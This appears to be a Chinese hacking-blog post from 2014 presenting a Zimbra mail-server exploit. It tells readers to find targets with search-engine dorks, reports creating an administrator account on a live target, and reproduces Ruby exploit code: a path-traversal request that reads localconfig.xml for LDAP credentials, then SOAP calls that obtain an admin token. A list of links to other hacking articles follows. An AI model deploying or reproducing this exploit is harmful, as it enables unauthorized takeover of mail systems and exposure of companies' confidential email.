发布时间:2014-07-15 11:50:28作者:知识屋
Zimbra是一个公司用的很多的邮件系统,可能涉及到很多公司内部的机密,所以极为重要。
这是前几天在exploit-db.com上发出来的0day: 。由本地文件包含漏洞可以看到localconfig.xml的内容,而这个文件中包含了LDAP凭证,由这个凭证通过在/service/admin/soap文件下的API来对邮件系统进行越权操作。
0x01 漏洞演示
在百度里搜索“使 Zimbra Desktop 处于离线状态”,你会找到很多使用Zimbra的系统:
我们找到我们的目标网站,只用简单使用我们的exp:
提示Successfully,于是我用新建的账号登录,成功:
看到有一个“管理员控制台”,因为这个账号是管理员权限,点进去就可以管理所有用户了,当然从公司的老总到客服,所有邮件都尽收眼底。这是管理首页:
0x02 exp运行过程说明
exp是ruby写的,我也没用python改写,因为比较简单。
首先访问存在LFI的页面:/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00
req = Net::HTTP::Get.new( "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00", { "Accept-Encoding" => "gzip", "User-Agent" => "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36" } ) res = http.request( req )从其中获取到LDAP的账号密码,执行get_auth_token函数:
resbody = gz.read() part1 = resbody.gsub("n", ' ').squeeze(' ') part2 = part1.gsub("a[", '').squeeze(' ') ldap_user = part2.match(/name="zimbra_user">"; "<value>(.*?)</value>/ui)[1] ldap_pass = part2.match(/name="zimbra_ldap_password">"; "<value>(.*?)</value>/ui)[1] get_auth_token(ldap_user,ldap_pass)
def get_auth_token(user,pass) https = Net::HTTP.new( $host, 7071 ) path = "/service/admin/soap" https.use_ssl = true https.verify_mode = OpenSSL::SSL::VERIFY_NONE body = "<?xml version="1.0" encoding="UTF-8"?> <env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope" xmlns:ns1="urn:zimbraAdmin" xmlns:ns2="urn:zimbraAdmin"><env:Header><ns2:context/></env:Header><env:Body><ns1:AuthRequest><account by="name">#{user}</account><password>#{pass}</password></ns1:AuthRequest></env:Body></env:Envelope>" data = https.post(path, body, { "Content-Type" => "application/soap+xml; charset=utf-8; action="urn:zimbraAdmin#AuthRequest"" } ) $auth_key = data.body.match(/<authToken>(.*)</authToken>/iu)[1] exploit() end
def request_soap_admin(api_call) @request=api_call soap_client = Net::HTTP.new( $host, 7071 ) soap_client.use_ssl = true soap_client.verify_mode = OpenSSL::SSL::VERIFY_NONE soap_path = "/service/admin/soap" soap_data = "<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><authToken>#{$auth_key}</authToken></context></soap:Header><soap:Body>#{@request}</soap:Body></soap:Envelope>" response = soap_client.post(soap_path, soap_data, { "Content-Type" => "application/soap+xml; charset=utf-8; action="urn:zimbraAdmin"" } ) if response.body.match(/Error/) error_res = response.body.match(/<soap:Text>(.*?)</soap:Text>/ui)[1] puts "[-] Response Error" puts " [*] #{error_res}" false else return response.body end end
0x03 exp下载
2011-06-17
菜鸟简单抓肉鸡(如何抓肉鸡)
2012-02-21
电脑开机时出现lass.exe进程是病毒吗?
2014-06-12
自拍须谨慎!教你如何通过照片定位查看拍摄地点
2012-08-06
电脑病毒最基础知识
2012-02-28
黑客学员必须了解的C语言技术
2011-04-04
精典详细内网渗透专题文章
2012-12-05
教你破解Tp-Link的无线路由密码
2011-02-21
解决SecureCRT中文显示乱码
2012-05-11
QQ电脑管家和360哪个好?横评实测对比
2012-04-15
攻防实战:无线网络路由入侵过程
2017-05-26
设置电脑安全级别的方法 怎么设置电脑安全级别
2017-05-17
如何保护U盘文件的安全 保护U盘文件的安全的方法
2017-05-10
360安全卫士的新闻弹窗如何关闭 360安全卫士的新闻弹窗关闭的方法
2017-05-03
qq安全中心快速改密图解步骤 qq安全中心快速改密的方法
2017-04-20
360安全卫士怎么关闭新闻弹窗和推荐 360安全卫士关闭新闻弹窗和推荐的方法
2017-04-12
清理流氓软件新闻简单报的方法 怎么清理流氓软件新闻简单报
2016-02-01
腾讯DNSPod推出新公共DNS服务 119.29.29.29安全零劫持
2015-08-12
电脑离线就安全?这个软件能远程偷数据
2015-06-05
常见木马短信:这类短信千万别点 小心有病毒
2015-05-31
北京预警:“匿名者”黑客组织开展对华网络攻击